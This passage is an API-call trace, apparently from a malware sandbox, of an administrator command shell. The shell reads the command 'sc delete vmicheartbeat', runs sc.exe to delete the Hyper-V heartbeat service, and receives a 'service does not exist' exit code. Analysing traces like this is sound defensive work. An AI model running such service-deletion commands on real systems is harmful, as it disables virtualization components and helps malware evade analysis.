lpWideCharStr="en\nrface\n") returned 1 [0072.566] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.566] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.566] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="a\nrface\n") returned 1 [0072.566] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.566] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.566] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="trface\n") returned 1 [0072.566] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.566] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.566] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="\nface\n") returned 1 [0072.567] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.567] GetFileType (hFile=0xb8) returned 0x3 [0072.567] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.567] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.567] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.567] GetFileType (hFile=0x120) returned 0x3 [0072.567] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicheartbeat\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicheartbeat\n", lpUsedDefaultChar=0x0) returned 25 [0072.567] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x18, lpOverlapped=0x0) returned 1 [0072.567] GetProcessHeap () returned 0x240000 [0072.567] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x25fb10 [0072.567] GetProcessHeap () returned 0x240000 [0072.567] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25fb10 | out: hHeap=0x240000) returned 1 [0072.567] GetProcessHeap () returned 0x240000 [0072.567] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0072.567] GetProcessHeap () returned 0x240000 [0072.567] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x258900 [0072.568] GetProcessHeap () returned 0x240000 [0072.568] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3c) returned 0x25aa40 [0072.568] GetConsoleOutputCP () returned 0x1b5 [0072.568] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0072.568] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.569] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.569] GetProcessHeap () returned 0x240000 [0072.569] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0072.569] GetProcessHeap () returned 0x240000 [0072.569] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x42) returned 0x25aa90 [0072.569] GetProcessHeap () returned 0x240000 [0072.569] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0072.569] SetErrorMode (uMode=0x0) returned 0x1 [0072.569] SetErrorMode (uMode=0x1) returned 0x0 [0072.569] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0072.569] SetErrorMode (uMode=0x1) returned 0x1 [0072.569] GetProcessHeap () returned 0x240000 [0072.569] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0072.569] GetProcessHeap () returned 0x240000 [0072.569] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0072.569] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.569] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.570] GetProcessHeap () returned 0x240000 [0072.570] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x259db0 [0072.570] GetProcessHeap () returned 0x240000 [0072.570] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0072.570] GetProcessHeap () returned 0x240000 [0072.570] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0072.570] GetProcessHeap () returned 0x240000 [0072.570] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0072.570] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.570] GetProcessHeap () returned 0x240000 [0072.570] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0072.570] GetProcessHeap () returned 0x240000 [0072.570] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0072.570] GetProcessHeap () returned 0x240000 [0072.570] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0072.570] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.570] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0072.570] GetLastError () returned 0x2 [0072.570] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0072.571] GetLastError () returned 0x2 [0072.571] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.571] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0072.571] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0072.571] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0072.571] GetLastError () returned 0x2 [0072.571] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0072.571] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0072.572] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0072.572] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0072.572] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.572] GetProcessHeap () returned 0x240000 [0072.572] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x25ba90 [0072.572] GetConsoleTitleW (in: lpConsoleTitle=0x25baa0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.572] GetProcessHeap () returned 0x240000 [0072.572] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba90, Size=0xa8) returned 0x25ba90 [0072.572] GetProcessHeap () returned 0x240000 [0072.572] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba90) returned 0xa8 [0072.572] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicheartbeat") returned 1 [0072.573] GetProcessHeap () returned 0x240000 [0072.573] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0072.573] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0072.573] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0072.573] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.573] GetProcessHeap () returned 0x240000 [0072.573] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0072.573] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.573] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0072.573] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.573] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.573] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.573] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.573] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.573] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.573] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.574] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0072.575] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.575] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.575] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.575] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.575] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.575] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.575] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.575] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0072.575] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.575] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.575] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.575] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.575] GetProcessHeap () returned 0x240000 [0072.575] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0072.575] GetProcessHeap () returned 0x240000 [0072.575] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2598a0 [0072.575] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicheartbeat", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicheartbeat", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete vmicheartbeat", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x84c, dwThreadId=0x85c)) returned 1 [0072.579] CloseHandle (hObject=0x54) returned 1 [0072.579] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.579] GetProcessHeap () returned 0x240000 [0072.579] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258980 | out: hHeap=0x240000) returned 1 [0072.579] GetEnvironmentStringsW () returned 0x258980* [0072.579] GetProcessHeap () returned 0x240000 [0072.579] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0072.579] FreeEnvironmentStringsW (penv=0x258980) returned 1 [0072.579] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0072.579] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd4000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0072.580] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0072.872] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0072.872] CloseHandle (hObject=0x50) returned 1 [0072.872] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0072.872] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.872] GetProcessHeap () returned 0x240000 [0072.872] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0072.872] GetEnvironmentStringsW () returned 0x258980* [0072.873] GetProcessHeap () returned 0x240000 [0072.873] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0072.873] FreeEnvironmentStringsW (penv=0x258980) returned 1 [0072.873] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.873] GetProcessHeap () returned 0x240000 [0072.873] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0072.873] GetEnvironmentStringsW () returned 0x258980* [0072.873] GetProcessHeap () returned 0x240000 [0072.873] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0072.873] FreeEnvironmentStringsW (penv=0x258980) returned 1 [0072.873] GetProcessHeap () returned 0x240000 [0072.873] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2598a0 | out: hHeap=0x240000) returned 1 [0072.873] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0072.873] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.874] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.874] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.874] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.874] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0072.874] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.874] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0072.874] GetConsoleOutputCP () returned 0x1b5 [0072.874] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0072.874] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.874] GetProcessHeap () returned 0x240000 [0072.874] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0072.874] GetProcessHeap () returned 0x240000 [0072.875] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0072.875] GetProcessHeap () returned 0x240000 [0072.875] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259db0 | out: hHeap=0x240000) returned 1 [0072.875] GetProcessHeap () returned 0x240000 [0072.875] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0072.875] GetProcessHeap () returned 0x240000 [0072.875] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa90 | out: hHeap=0x240000) returned 1 [0072.875] GetProcessHeap () returned 0x240000 [0072.875] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0072.875] GetProcessHeap () returned 0x240000 [0072.875] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0072.875] GetProcessHeap () returned 0x240000 [0072.875] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258900 | out: hHeap=0x240000) returned 1 [0072.875] GetProcessHeap () returned 0x240000 [0072.875] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0072.875] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0072.875] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.875] GetFileType (hFile=0x120) returned 0x3 [0072.875] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.875] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.875] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0072.875] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.875] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.875] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.876] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0072.876] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.876] GetFileType (hFile=0x120) returned 0x3 [0072.876] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.876] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.876] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0072.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.876] GetFileType (hFile=0xb8) returned 0x3 [0072.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.876] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicheartbeat\nface\n") returned 1 [0072.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.876] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicheartbeat\nface\n") returned 1 [0072.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.876] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicheartbeat\nface\n") returned 1 [0072.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.876] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete vmicheartbeat\nface\n") returned 1 [0072.877] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.877] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.877] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete vmicheartbeat\nface\n") returned 1 [0072.877] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.877] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 